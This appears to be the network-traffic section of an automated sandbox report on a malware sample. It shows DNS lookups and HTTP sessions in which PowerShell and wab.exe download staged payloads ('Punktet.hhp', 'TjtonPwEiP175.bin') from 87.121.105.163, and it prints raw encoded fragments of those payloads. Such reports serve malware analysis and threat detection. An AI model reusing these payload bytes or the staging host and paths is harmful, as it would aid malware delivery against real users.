Apr 25, 2024 10:38:54.365341902 CEST	53	54805	1.1.1.1	192.168.2.4
Apr 25, 2024 10:38:59.738447905 CEST	53938	53	192.168.2.4	1.1.1.1
Apr 25, 2024 10:38:59.880975008 CEST	53	53938	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 25, 2024 10:38:14.498315096 CEST	192.168.2.4	1.1.1.1	0x8448	Standard query (0)	www.tyaer.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:30.754545927 CEST	192.168.2.4	1.1.1.1	0x9dcd	Standard query (0)	www.oyoing.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:42.954103947 CEST	192.168.2.4	1.1.1.1	0x2956	Standard query (0)	www.oyoing.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:50.178637981 CEST	192.168.2.4	1.1.1.1	0xdd8c	Standard query (0)	www.megabet303.lol	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:54.239861012 CEST	192.168.2.4	1.1.1.1	0xa89f	Standard query (0)	www.megabet303.lol	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:59.738447905 CEST	192.168.2.4	1.1.1.1	0x83c8	Standard query (0)	www.theplays.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 25, 2024 10:38:14.622467995 CEST	1.1.1.1	192.168.2.4	0x8448	No error (0)	www.tyaer.com		47.91.88.207	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:30.892724991 CEST	1.1.1.1	192.168.2.4	0x9dcd	No error (0)	www.oyoing.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:43.078013897 CEST	1.1.1.1	192.168.2.4	0x2956	No error (0)	www.oyoing.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:50.308342934 CEST	1.1.1.1	192.168.2.4	0xdd8c	Name error (3)	www.megabet303.lol	none	none	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:54.365341902 CEST	1.1.1.1	192.168.2.4	0xa89f	Name error (3)	www.megabet303.lol	none	none	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:59.880975008 CEST	1.1.1.1	192.168.2.4	0x83c8	No error (0)	www.theplays.shop		172.67.152.117	A (IP address)	IN (0x0001)	false
Apr 25, 2024 10:38:59.880975008 CEST	1.1.1.1	192.168.2.4	0x83c8	No error (0)	www.theplays.shop		104.21.74.5	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

87.121.105.163

www.tyaer.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	87.121.105.163	80	5984	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 10:36:58.674717903 CEST	169	OUT	GET /Punktet.hhp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 87.121.105.163 Connection: Keep-Alive
Apr 25, 2024 10:36:58.883883953 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 08:36:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 24 Apr 2024 22:48:54 GMT ETag: "62490-616df799b4180" Accept-Ranges: bytes Content-Length: 402576 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 36 77 4c 4d 73 6e 45 42 6d 37 74 45 68 68 30 41 63 51 47 62 63 51 47 62 41 31 77 6b 42 4f 73 43 48 37 37 72 41 6f 48 55 75 55 73 37 48 6d 62 72 41 73 50 32 36 77 4b 72 66 49 48 78 64 79 47 71 4f 4f 73 43 61 6f 52 78 41 5a 75 42 38 54 77 61 74 46 35 78 41 5a 76 72 41 6d 4a 62 63 51 47 62 63 51 47 62 75 69 75 67 4c 4e 39 78 41 5a 74 78 41 5a 76 72 41 70 6f 31 36 77 4b 34 68 54 48 4b 36 77 4b 68 33 33 45 42 6d 34 6b 55 43 33 45 42 6d 33 45 42 6d 39 48 69 63 51 47 62 36 77 4b 75 59 59 50 42 42 4f 73 43 74 5a 35 78 41 5a 75 42 2b 58 77 63 7a 51 52 38 79 2b 73 43 43 76 5a 78 41 5a 75 4c 52 43 51 45 36 77 4b 53 4d 58 45 42 6d 34 6e 44 63 51 47 62 63 51 47 62 67 63 4f 4e 53 46 34 41 63 51 47 62 36 77 4c 67 55 62 6f 7a 6f 6b 70 36 63 51 47 62 36 77 4c 39 73 49 48 43 43 62 56 4e 69 6e 45 42 6d 2b 73 43 43 36 79 42 38 6a 78 58 6d 41 52 78 41 5a 74 78 41 5a 76 72 41 75 6e 41 36 77 4c 6b 41 6e 45 42 6d 33 45 42 6d 34 73 4d 45 48 45 42 6d 33 45 42 6d 34 6b 4d 45 2b 73 43 78 33 35 78 41 5a 74 43 36 77 49 72 67 4f 73 43 41 6f 53 42 2b 6a 41 31 42 41 42 31 31 6e 45 42 6d 2b 73 43 4e 53 71 4a 58 43 51 4d 63 51 47 62 63 51 47 62 67 65 30 41 41 77 41 41 36 77 4c 36 35 4f 73 43 73 35 4f 4c 56 43 51 49 36 77 49 57 76 75 73 43 55 33 53 4c 66 43 51 45 36 77 49 79 4b 75 73 43 61 42 4f 4a 36 33 45 42 6d 33 45 42 6d 34 48 44 6e 41 41 41 41 4f 73 43 31 32 2f 72 41 72 51 52 55 33 45 42 6d 33 45 42 6d 32 70 41 36 77 4b 32 4e 58 45 42 6d 34 6e 72 63 51 47 62 63 51 47 62 78 34 4d 41 41 51 41 41 41 4c 44 74 42 48 45 42 6d 2b 73 43 6f 61 69 42 77 77 41 42 41 41 44 72 41 6f 35 2b 36 77 4c 4e 67 56 50 72 41 70 74 2f 36 77 4b 4c 34 59 6e 72 63 51 47 62 36 77 4c 30 4c 34 6d 37 42 41 45 41 41 4f 73 43 57 7a 5a 78 41 5a 75 42 77 77 51 42 41 41 44 72 41 6e 71 54 63 51 47 62 55 2b 73 43 6e 50 6c 78 41 5a 74 71 2f 33 45 42 6d 2b 73 43 50 63 69 44 77 67 56 78 41 5a 76 72 41 6b 7a 67 4d 66 62 72 41 71 52 2f 36 77 4b 39 6d 54 48 4a 63 51 47 62 63 51 47 62 69 78 72 72 41 6b 4e 56 36 77 49 6f 6d 6b 48 72 41 6c 6c 45 36 77 4c 62 51 7a 6b 63 43 6e 58 79 63 51 47 62 63 51 47 62 52 75 73 43 6a 58 58 72 41 75 34 48 67 48 77 4b 2b 37 68 31 33 48 45 42 6d 2b 73 43 72 69 47 4c 52 41 72 38 36 77 49 50 62 33 45 42 6d 79 6e 77 36 77 4b 52 75 6e 45 42 6d 2f 2f 53 36 77 4a 31 2f 4f 73 43 54 4b 71 36 4d 44 55 45 41 4f 73 43 42 65 74 78 41 5a 73 78 77 48 45 42 6d 2b 73 43 37 31 71 4c 66 43 51 4d 36 77 49 46 6f 48 45 42 6d 34 45 30 42 7a 62 5a 66 37 2f 72 41 76 42 34 36 77 4b 5a 31 49 50 41 42 4f 73 43 4b 50 52 78 41 5a 73 35 30 48 58 6a 36 77 4c 65 71 75 73 43 73 2f 43 4a 2b 2b 73 43 57 43 70 78 41 5a 76 2f 31 33 45 42 6d 33 45 42 6d 31 41 75 75 56 51 4d 55 4a 6f 32 63 79 54 48 39 52 61 67 2b 37 6f 5a 50 35 2f 44 47 38 62 4c 50 74 58 30 4a 66 44 75 78 46 5a 37 76 5a 79 43 36 72 38 38 52 6d 61 50 32 62 7a 77 4d 4c 39 47 5a 38 35 59 6a 68 62 74 61 45 45 2b 78 30 33 6d 34 46 66 67 74 44 37 48 2f 50 34 65 62 78 34 37 73 6a 5a 6b 68 6e 32 6e 57 42 4f 79 4e 70 72 36 6f 4b 68 59 43 37 49 32 6b 38 5a 2b 66 46 67 37 73 6a 59 4a 54 53 4a 77 55 4d 6f 43 4e 39 6c 2f 41 55 2f 48 54 61 70 67 Data Ascii: 6wLMsnEBm7tEhh0AcQGbcQGbA1wkBOsCH77rAoHUuUs7HmbrAsP26wKrfIHxdyGqOOsCaoRxAZuB8TwatF5xAZvrAmJbcQGbcQGbuiugLN9xAZtxAZvrApo16wK4hTHK6wKh33EBm4kUC3EBm3EBm9HicQGb6wKuYYPBBOsCtZ5xAZuB+XwczQR8y+sCCvZxAZuLRCQE6wKSMXEBm4nDcQGbcQGbgcONSF4AcQGb6wLgUbozokp6cQGb6wL9sIHCCbVNinEBm+sCC6yB8jxXmARxAZtxAZvrAunA6wLkAnEBm3EBm4sMEHEBm3EBm4kME+sCx35xAZtC6wIrgOsCAoSB+jA1BAB11nEBm+sCNSqJXCQMcQGbcQGbge0AAwAA6wL65OsCs5OLVCQI6wIWvusCU3SLfCQE6wIyKusCaBOJ63EBm3EBm4HDnAAAAOsC12/rArQRU3EBm3EBm2pA6wK2NXEBm4nrcQGbcQGbx4MAAQAAALDtBHEBm+sCoaiBwwABAADrAo5+6wLNgVPrApt/6wKL4YnrcQGb6wL0L4m7BAEAAOsCWzZxAZuBwwQBAADrAnqTcQGbU+sCnPlxAZtq/3EBm+sCPciDwgVxAZvrAkzgMfbrAqR/6wK9mTHJcQGbcQGbixrrAkNV6wIomkHrAllE6wLbQzkcCnXycQGbcQGbRusCjXXrAu4HgHwK+7h13HEBm+sCriGLRAr86wIPb3EBmynw6wKRunEBm//S6wJ1/OsCTKq6MDUEAOsCBetxAZsxwHEBm+sC71qLfCQM6wIFoHEBm4E0BzbZf7/rAvB46wKZ1IPABOsCKPRxAZs50HXj6wLequsCs/CJ++sCWCpxAZv/13EBm3EBm1AuuVQMUJo2cyTH9Rag+7oZP5/DG8bLPtX0JfDuxFZ7vZyC6r88RmaP2bzwML9GZ85YjhbtaEE+x03m4FfgtD7H/P4ebx47sjZkhn2nWBOyNpr6oKhYC7I2k8Z+fFg7sjYJTSJwUMoCN9l/AU/HTapg
Apr 25, 2024 10:36:58.883904934 CEST	1289	IN	Data Raw: 5a 30 56 62 66 76 6e 38 51 53 66 57 38 58 38 55 33 58 2f 68 74 7a 63 37 74 4c 72 42 2f 6b 6d 72 65 36 37 58 73 67 6a 2b 65 57 71 58 39 39 53 7a 45 58 35 4f 76 57 7a 43 76 6a 62 5a 75 44 70 34 32 33 2b 2f 5a 48 35 70 78 56 42 77 4e 4d 61 33 58 44 Data Ascii: Z0Vbfvn8QSfW8X8U3X/htzc7tLrB/kmre67Xsgj+eWqX99SzEX5OvWzCvjbZuDp423+/ZH5pxVBwNMa3XDG9NtlNz0MR+nS3bDG9Ntkt8/GnR1C3bDG9NtnR5X3l+1q2IzuEu5d9vzbW+tnJJoCHwlym2Q8KR1qyAfY6Tth/v7MRGYb8UOLzN9l/2Q8ILNkPE0Z33nFVuza/+ne/nDtWSih8v7YkGIfIVvrbN9l/19UI3R7eHoi
Apr 25, 2024 10:36:58.884835005 CEST	1289	IN	Data Raw: 57 6e 68 67 2b 65 39 58 49 6d 2b 4e 74 6d 58 39 54 50 64 66 7a 61 72 54 6e 36 2f 4e 6c 43 38 37 4c 31 45 36 4c 34 32 32 5a 63 30 41 4e 74 2f 31 2f 4e 73 47 75 57 33 39 56 75 71 48 68 68 4d 50 68 72 39 59 31 57 38 36 33 43 33 4e 39 56 2f 76 7a 61 Data Ascii: Wnhg+e9XIm+NtmX9TPdfzarTn6/NlC87L1E6L422Zc0ANt/1/NsGuW39VuqHhhMPhr9Y1W863C3N9V/vzaiKrMAkrPQGSj5uvTVMRzvsLT1LdMqiEGHFFOftJ+GNlhLm6N6ZktmYYXDDNRKLXxGP5Je7NryZUX2XDfa4jrsrHYZ8mQEnUiY6x9h+Gdkqv5fEpT4FOU9muoM9yAbNJ2VmdmzASQ/zZYncxje0tXlWzYlcaN4gxre
Apr 25, 2024 10:36:58.884854078 CEST	1289	IN	Data Raw: 35 4e 53 39 6b 71 31 72 2f 72 47 59 76 76 36 49 7a 47 6c 44 7a 37 76 34 77 6b 37 44 4e 73 72 74 68 35 72 58 5a 59 66 63 5a 47 74 38 55 74 6d 32 61 45 66 31 64 55 49 53 53 44 4c 77 63 37 34 72 45 32 41 2b 64 6f 6e 37 6a 73 49 6a 75 44 67 46 4c 54 Data Ascii: 5NS9kq1r/rGYvv6IzGlDz7v4wk7DNsrth5rXZYfcZGt8Utm2aEf1dUISSDLwc74rE2A+don7jsIjuDgFLTzIMhNgaNkG3yVwe5ZX8rj62Q+zKVI7ftNvGkQe3tn4RzLnWqSWPl5/rLfPAWVXrKSnVlFRIYo3WDVDQQ9FT8WSsYxi7yFrQINWyAWp50uHZjFUw+NseWxUFvjmHwWTslMAcoXEeL2jjdHWL0rMyFex8aOZ1VYh6Jl
Apr 25, 2024 10:36:58.884958029 CEST	1289	IN	Data Raw: 42 4e 75 53 35 57 4c 37 51 57 53 58 6d 50 76 63 44 57 31 59 38 55 45 5a 54 49 6e 31 6d 6d 48 75 65 56 68 4b 50 66 4d 49 4f 31 58 30 6d 31 33 72 74 4b 2f 4e 65 44 61 75 30 69 39 5a 2f 72 74 2f 5a 66 37 39 6e 76 30 36 7a 47 48 32 7a 71 5a 6f 72 61 Data Ascii: BNuS5WL7QWSXmPvcDW1Y8UEZTIn1mmHueVhKPfMIO1X0m13rtK/NeDau0i9Z/rt/Zf79nv06zGH2zqZora3ZPkeM19QtAuxgJqH+6Mv6LElI5HW9YS5tiYSbht91btODWOnMC0I/htTw6uRJVdZjS+xdNyWUlU2qKRmT6Mas2p7mY+oRNQDjM6TsN7YEoiVpoUnitsalBsrVwv+gEf782sNtci9mc63ovtj53rMcBdsQhkXAoti
Apr 25, 2024 10:36:58.884975910 CEST	1289	IN	Data Raw: 39 56 61 39 46 36 72 34 51 4a 49 6e 55 72 50 6e 75 71 50 2b 77 6b 4a 46 38 62 38 32 31 76 73 33 73 64 6c 2f 35 41 34 74 49 54 61 4c 4e 6e 36 2f 4e 6f 76 46 39 56 37 54 72 44 37 63 58 45 64 31 33 31 69 56 65 56 48 6d 6c 6a 59 6b 33 45 6f 73 65 41 Data Ascii: 9Va9F6r4QJInUrPnuqP+wkJF8b821vs3sdl/5A4tITaLNn6/NovF9V7TrD7cXEd131iVeVHmljYk3EoseAwNlwRbn8UZpiy4awFA/De5hkOrWWV/7AunvHE40912KD/gjGJGigmDwHEresDsjYdQ1+NYjImPzuE+xdQbnURYlNrHhEbpqlCZtihE+nZA1uBmZky20go7NU7YvuRpEMsvMyX8r2bkBs51QFMYwugWXCqr/uXBbRA
Apr 25, 2024 10:36:58.884994984 CEST	1289	IN	Data Raw: 50 33 37 52 52 6b 36 2f 59 47 4a 66 48 75 41 4c 37 41 33 4b 44 47 2f 4e 74 6b 4d 6f 6d 55 74 6f 77 78 2f 32 69 38 69 45 62 32 43 66 42 53 59 4d 73 31 4c 31 37 2b 57 72 6e 4f 44 33 72 59 6f 67 6a 4c 65 4a 64 6c 71 46 58 79 65 6d 79 50 33 39 44 70 Data Ascii: P37RRk6/YGJfHuAL7A3KDG/NtkMomUtowx/2i8iEb2CfBSYMs1L17+WrnOD3rYogjLeJdlqFXyemyP39DpX23+/v0RvvTbZxL8KpDE+9fVD9iCOwNPA6qM+wV9ejLhYiOYXJrU+8ZR1v1GL4zbU2EUishMLowkZbS9WpXQBuuaDht3X8g1HxaaUYnLequGebCUZ0vtbbFmBgGlYjGF0jbo+3StFLZePwXXyw0I+wJWm0q5YuWdl
Apr 25, 2024 10:36:58.885013103 CEST	1289	IN	Data Raw: 31 77 76 67 54 53 66 37 38 32 6e 42 4b 76 67 5a 67 58 65 55 67 6f 2f 66 66 6e 73 59 6c 30 56 76 67 75 4e 72 74 53 66 72 38 32 69 38 58 74 36 4a 75 6d 50 73 51 32 65 65 5a 38 57 4a 55 43 34 63 4c 73 36 61 70 51 6d 62 59 67 52 45 5a 67 51 73 47 68 Data Ascii: 1wvgTSf782nBKvgZgXeUgo/ffnsYl0VvguNrtSfr82i8Xt6JumPsQ2eeZ8WJUC4cLs6apQmbYgREZgQsGhfsoI9dMGrZ99cdjxF/rHuLfI4ppS1y9TXwam8Tm0GBI3ZnXd2xZY1a1bMhZxsjwh2bcn649sUIbuvVT0vjbZF3jE7dbtjCo4PUFYlSburV0+xMrLsmNQTdGjSZeXfiFeBxsmhNxb6BUVfoP+ixIQKfdIWEubSsDi0
Apr 25, 2024 10:36:58.885030031 CEST	1289	IN	Data Raw: 36 67 53 4b 55 74 79 35 43 4d 59 59 2f 39 6f 68 53 73 6e 44 46 2b 36 71 47 65 72 65 35 56 34 61 43 77 73 48 6a 62 6e 59 34 41 30 66 68 62 79 61 77 48 6c 38 38 34 6d 47 66 57 63 5a 69 33 64 50 34 79 42 5a 4b 6b 39 49 65 38 2b 61 47 39 43 49 65 32 Data Ascii: 6gSKUty5CMYY/9ohSsnDF+6qGere5V4aCwsHjbnY4A0fhbyawHl884mGfWcZi3dP4yBZKk9Ie8+aG9CIe2H+/ZGNS6qhD/n3eTGW6txtKY+iV/k2j0KjitzOgcnZoLiO/OHauq+GuyD1m3guv2jEhJQA3j58P86/wXabmshMlNm7cuPw623+/Nta4jW3Zf79mgoesllIypznYvCw22X/IKziaDSSNvRwUYVWzwanOhfBVuoVjSv
Apr 25, 2024 10:36:58.885097980 CEST	1289	IN	Data Raw: 53 63 6c 62 32 36 65 33 48 77 79 66 73 71 66 32 71 5a 56 4b 65 44 45 47 74 4e 69 44 4a 56 4f 57 73 61 62 58 57 33 72 4e 72 6a 65 6c 41 70 72 42 6f 6b 71 37 52 50 6e 62 51 6a 6a 71 76 77 68 51 52 4e 56 6e 53 48 36 69 37 55 55 45 39 4f 37 6d 34 62 Data Ascii: Sclb26e3Hwyfsqf2qZVKeDEGtNiDJVOWsabXW3rNrjelAprBokq7RPnbQjjqvwhQRNVnSH6i7UUE9O7m4b9McL022XC+xuZ/vzakkZBUrzUZyEZ7lViZ2NofFXk63B/PoVvw2gWMm9oZtxuiCcj0LQWkoYnItzMtSLK+/k3aVoSjtyuFkrzV9r22GmX3mq7fVjF5+new9Lf5tFhq2RAWsk3d4/TY8Ygv+jvF5VnxrX2vx4P+feK
Apr 25, 2024 10:36:59.091728926 CEST	1289	IN	Data Raw: 65 70 50 44 6b 4f 71 6d 48 75 4e 4b 44 70 47 76 6e 55 6f 6c 52 37 6f 30 67 37 4b 43 50 5a 6d 42 51 6c 6f 71 73 67 76 63 35 71 51 6c 59 53 36 6b 52 4c 77 76 4f 6d 31 69 71 68 70 39 67 6b 65 48 55 53 75 48 69 68 6e 51 42 2f 54 2b 31 74 39 7a 38 5a Data Ascii: epPDkOqmHuNKDpGvnUolR7o0g7KCPZmBQloqsgvc5qQlYS6kRLwvOm1iqhp9gkeHUSuHihnQB/T+1t9z8Z150BqaQjjrZi7D8rMWS54tr1c77422XC+9Yt/vzahjz7kzd6szCCn7hRD/l1z8Lq9g9sQZOxSLYAVC3C+JF5/vzacT/Abl1jdFAzVqwiEsOR21bc2gz5+vzZQmem9bJi+NtmzZVeE/YcjmxZDPCQGB5izslrIfYua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	87.121.105.163	80	2304	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 10:37:30.838629961 CEST	176	OUT	GET /TjtonPwEiP175.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 87.121.105.163 Cache-Control: no-cache
Apr 25, 2024 10:37:31.050628901 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 08:37:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 24 Apr 2024 22:45:38 GMT ETag: "43440-616df6dec8880" Accept-Ranges: bytes Content-Length: 275520 Content-Type: application/octet-stream Data Raw: 9c 30 2b c7 b5 3b aa 79 7e d4 47 f2 8c e6 60 9a 7b 6a c6 9d 52 48 a2 7f 60 50 7e 5a ea d0 e3 c8 8f 9a 4f 1d e2 bf 98 df b2 38 ee 47 9e b4 91 e5 14 be 55 59 c6 28 d6 d7 3a 9d 4a 7a 28 95 1a ff d9 85 7a 10 58 27 be 6f ed a3 d0 ff b1 83 93 e3 06 b5 b0 2a 55 e3 2a 1f 00 99 86 55 b3 59 ee d1 3e 06 84 70 6d cf e2 b7 c4 93 e6 68 be 8f 7c 7b a0 d1 cd 87 73 07 5e 74 22 b6 7e 0a a6 1d d9 8d cc d7 fa 6a 2c 4c c1 29 5a b6 52 2a 38 26 fc 42 b7 60 81 50 1d c3 4c 75 60 3d 8f 9c f4 cf 87 ef 86 ff a5 48 18 3b 5b fe 8c 82 7f 3e 5d a4 45 1c c2 45 58 00 cd 64 5f 9a a8 ed 7d cb 27 25 9f b3 34 5a 75 24 f3 7f 23 15 8a d3 98 5c 50 8c d7 4d e8 c4 b6 62 2b 7d 6e 75 a1 e7 af 68 91 08 7a 0d 30 95 96 83 3f 21 04 5c ed 9f c6 71 44 1c 7a 97 03 6f 05 15 0a 48 36 41 7c 45 a5 6a bb 43 d4 f7 a6 a1 63 d0 51 01 d2 0f 5f f0 42 cb a1 0d 10 06 8e d5 31 1f 01 f5 fc 20 82 20 5c 52 aa 92 d2 f3 24 a0 95 a9 46 2e d9 92 0b 46 d6 ad bd 6d cf d3 6d 17 d7 62 56 6a 70 4e 2a 2e 4d b9 86 63 dd ff 7c 47 12 9c 6a cc 73 47 ae 43 a4 f1 44 75 a4 54 34 e9 a6 cd f6 c6 a0 83 32 90 e7 82 32 33 7a fc 87 ce b4 f8 92 84 1f 11 e5 81 65 39 f3 c0 9e bf 47 77 31 45 9f f5 b0 7b 6f 1a 39 c0 f2 c6 56 d6 2a 67 49 e8 36 0f 54 49 5b c8 79 99 6a b9 c6 eb cf 06 2e 3a 60 ee 4d 1f aa ad 11 cb 6c ed 70 09 d4 38 bb 84 0c 18 ec eb bb 7e 90 27 b0 68 78 4d 69 2b 50 7a eb 8e f1 69 a5 08 01 55 8f fa b8 68 a6 6b 7d 4d a4 ff 80 a6 e7 c7 61 db bb 3c 70 bf 6d a1 29 e3 cc 15 80 ff 5d f3 37 86 ad 0d 07 ee 08 9a b6 3a 7d ca 99 e5 90 33 5c dd 56 8f 1a 78 bd 3f aa de a1 4d c5 f7 c3 86 a3 81 08 a3 28 11 7c 4f c3 24 86 54 c9 40 e0 df 98 21 cd 1b 12 28 10 f7 61 b5 de ba ec 4b 5c b3 88 d9 48 74 30 46 7d c7 b9 da 35 29 63 a3 e3 5c ea 4e 6a 4f 58 cf e7 58 1b 46 28 9b e7 9d 6c be cb c8 4c 0a 5b e3 aa ce f9 4c 4b 68 c5 71 90 1b 45 56 8f cb 70 05 41 b5 f6 3f ec 4c f0 7c 8c 96 53 04 87 77 1e 94 e3 e3 aa d9 91 20 81 25 e9 41 aa d9 01 f8 c7 dc 16 7e 59 ee 2c 2d 67 bd 2a b4 83 f8 e8 66 22 e6 dc 2a 8f 78 11 f3 bf b9 cb f0 61 5d 14 51 6d 8a 4a 4b cb 72 fb de e9 ef 1b a4 57 e9 dd 5b c0 43 52 be 30 b3 15 67 6f 83 05 06 cd 60 e2 ec ce ad c1 45 5b 1b ca 2c 3d 12 45 71 67 59 c8 b5 43 99 ae 87 44 1c 42 1a d2 c7 b3 4a cc 56 38 d3 69 fc 8b 44 7e ad 8b 00 9c 48 6c 21 ac d2 05 54 91 57 2a 62 0a de c8 8a 1c d9 f1 46 ea f8 53 30 40 9b cc a0 22 dd 2c d8 55 4e 94 3f 20 aa 2f 6a 9c 78 e8 ce 56 4c 9d 64 25 90 ba 1a 10 32 ca 1b 3b 03 3a 93 9b c3 bc 5c 8d 63 51 20 af d6 45 98 a1 d8 e2 6f 48 bc ad 47 18 38 6b 8d fc 6b cf 41 dd 68 bb 00 4d c9 50 2b 75 bd 15 51 51 3a f2 9c b7 79 cb a9 3a 04 3c 9f cf 52 69 ed 2c 9e 9b 83 b3 45 c1 43 42 b8 7c 33 dd a3 48 c0 e7 70 6f 90 2b 84 9b 4d ad 21 1e 9d eb e1 e7 63 68 93 68 ab ef 05 a8 30 7a 72 4f ab a1 38 c5 45 42 63 64 5a 84 2b 75 aa 35 65 1f b0 c1 b5 55 b7 61 9f df b6 b1 cc 89 89 bd 65 4e 7e c2 55 11 35 12 2b 5d 10 f8 8c 97 98 ef 8c 8d 6e 3a fe 5e 03 0c 43 76 96 e3 35 84 fc 81 f9 be 68 cc 85 11 3c c2 68 3d 2a cc 83 66 d8 e8 8d 2d 47 21 d5 a5 52 9b 84 66 98 56 36 12 b1 37 bc 56 2f 5b 73 70 34 ec 9d ec fb 9a 43 12 20 db b4 30 71 af ba c2 e5 c2 3b cf bc 6e c1 87 90 bc 1a 10 24 e8 f3 29 2d 41 27 54 50 c6 fc b8 ab 63 0c 66 1c 8c 21 16 8e 36 b8 5a 69 ed 9d Data Ascii: 0+;y~G`{jRH`P~ZO8GUY(:Jz(zX'oUUY>pmh\|{s^t"~j,L)ZR8&B`PLu`=H;[>]EEXd_}'%4Zu$#\PMb+}nuhz0?!\qDzoH6A\|EjCcQ_B1 \R$F.FmmbVjpN.Mc\|GjsGCDuT4223ze9Gw1E{o9VgI6TI[yj.:`Mlp8~'hxMi+PziUhk}Ma<pm)]7:}3\Vx?M(\|O$T@!(aK\Ht0F}5)c\NjOXXF(lL[LKhqEVpA?L\|Sw %A~Y,-gf"xa]QmJKrW[CR0go`E[,=EqgYCDBJV8iD~Hl!TWbFS0@",UN? /jxVLd%2;:\cQ EoHG8kkAhMP+uQQ:y:<Ri,ECB\|3Hpo+M!chh0zrO8EBcdZ+u5eUaeN~U5+]n:^Cv5h<h=*f-G!RfV67V/[sp4C 0q;n$)-A'TPcf!6Zi
Apr 25, 2024 10:37:31.050697088 CEST	1289	IN	Data Raw: 3a 81 8a d5 bd ca 59 4c e4 d1 ca 6e c7 aa 44 b9 47 30 d8 4d 51 85 b4 e2 fe 04 31 06 db d2 da 18 76 69 cc cd c1 6e 86 c2 2b c9 10 88 49 ab ea ef ee 25 95 6c 34 b2 d5 ef 97 4a 10 55 86 94 df 3f 42 b0 27 be 6f ed fb 53 17 b8 08 5b 60 c6 89 3b 2a 56 Data Ascii: :YLnDG0MQ1vin+I%l4JU?B'oS[`;V"(R>pmh\|{s^t"~@d,{Sf o+P-8I.<<eiR}'%M[\|DmbAh3=pAcy\|doH
Apr 25, 2024 10:37:31.050739050 CEST	1289	IN	Data Raw: f7 74 14 0e 8d 51 01 d2 0f 5f f0 42 cb 41 0d 12 07 85 d4 3a 1f 01 d7 f8 20 82 20 5c 52 aa 92 d2 f3 94 b5 95 a9 46 3e d9 92 0b 06 d2 ad bd 6d 8f d3 6d 07 d7 62 56 68 70 4e 2c 2e 4d b9 86 63 dd ff 7a 47 12 9c 6a cc 73 47 ae 03 a0 f1 44 77 a4 54 34 Data Ascii: tQ_BA: \RF>mmbVhpN,.MczGjsGDwT422#ze9Gw1E{o9V*gI6TI[yj.:`Mlp8~'hxMi+PziUhk}Ma<pm)]7:}3\VxK
Apr 25, 2024 10:37:31.050781012 CEST	1289	IN	Data Raw: 81 08 b3 28 11 7c 6d c7 24 86 44 c9 40 e0 df 98 21 cd 1b 12 28 10 f7 61 b5 fe ba ec 2b 5c b3 88 d9 48 74 30 46 7d c7 b9 da 35 29 63 a3 e3 5c ea 4e 6a 4f 58 cf e7 58 1b 46 28 9b e7 9d 6c be cb c8 4c 0a 5b e3 aa ce f9 4c 4b 68 c5 71 90 1b 45 56 8f Data Ascii: (\|m$D@!(a+\Ht0F}5)c\NjOXXF(lL[LKhqEVpA?L\|Sw %A~Y,-gf"xa]QmJKrW[CR0go`E[,=EqgYCDBJV8iD~Hl!TW*bFS0
Apr 25, 2024 10:37:31.050821066 CEST	1289	IN	Data Raw: b6 bc 6b 20 aa 1c b1 24 7d 74 6c da bb 74 67 f4 51 40 1d 9b f8 0b f2 24 00 f0 e6 70 a9 a1 a3 f8 6f b9 cf 53 29 ba 13 f4 d0 61 ab 40 3d 57 7d 3c 38 6b 82 79 ee cf 41 dd 2e 03 56 18 9c 05 dc 9b 36 d7 90 b9 25 f1 5e 3c b7 46 ad 7a 2f f4 ea ce 14 e8 Data Ascii: k $}tltgQ@$poS)a@=W}<8kyA.V6%^<Fz/!y11_:Q$d&Q9(@Hol7luZ\a$W/=z UN~aD]jLn:vh=tfM.cs'7</*L.@
Apr 25, 2024 10:37:31.050860882 CEST	1289	IN	Data Raw: 9a 3b ec 9d f6 aa eb 42 cc 55 16 47 02 f1 bc 63 0c 1a c5 e6 21 7c 8e bb 3d b6 97 12 62 6a 7e 3f 0d 46 35 a6 c1 61 8d 35 91 38 fa ac 35 57 30 d8 ce 95 91 3d 67 ee f9 ce f9 56 9b da a0 49 6f 2b ae 36 03 5e 03 d1 cd 9b 4a 88 43 f5 ec 2c ac d0 b4 41 Data Ascii: ;BUGc!\|=bj~?F5a585W0=gVIo+6^JC,A[Xj<woLX19+ ZdqUYpBhO+."]t"6VqBgy1o4S5mln+AE<4{1%]rDFC~8<su\
